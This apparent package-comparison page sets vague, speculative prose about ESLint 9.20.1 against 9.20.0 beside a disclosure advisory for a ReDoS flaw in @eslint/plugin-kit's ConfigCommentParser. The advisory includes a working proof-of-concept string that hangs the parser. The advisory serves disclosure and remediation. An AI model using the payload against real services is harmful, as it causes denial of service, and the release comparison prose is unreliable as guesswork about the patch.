ESLint 9.20.1 is a patch release building upon the solid foundation of ESLint 9.20.0, a popular JavaScript linting tool designed to identify and enforce coding standards. While both versions share core dependencies like espree for parsing, esquery for AST querying, and @eslint/js for core rules, the key difference lies in the bug fixes and minor improvements found in the newer version. Developers leveraging ESLint to maintain code quality will appreciate the stability enhancements offered by 9.20.1.
Specifically, looking at the raw data, the "releaseDate" is different. The newer version was released later than the older one. While the dependencies and devDependencies appear unchanged between the versions, the "unpackedSize" and "fileCount" are slightly different, This suggests internal adjustments to improve performance or fix bugs. This patch could affect runtime or disk usage, it's likely to be minimal if the core functionalities are not changed.
Developers should upgrade to version 9.20.1 especially if they have been experiencing issues or seeking subtle performance gains. Keep in mind that both versions require compatible peer dependencies and development tools such as testing frameworks like Mocha and build tools like Webpack, ensuring a consistent and reliable linting experience. By staying up-to-date with the latest patch release, developers can minimize potential issues and ensure optimal performance of their ESLint configuration.
All the vulnerabilities related to the version 9.20.1 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.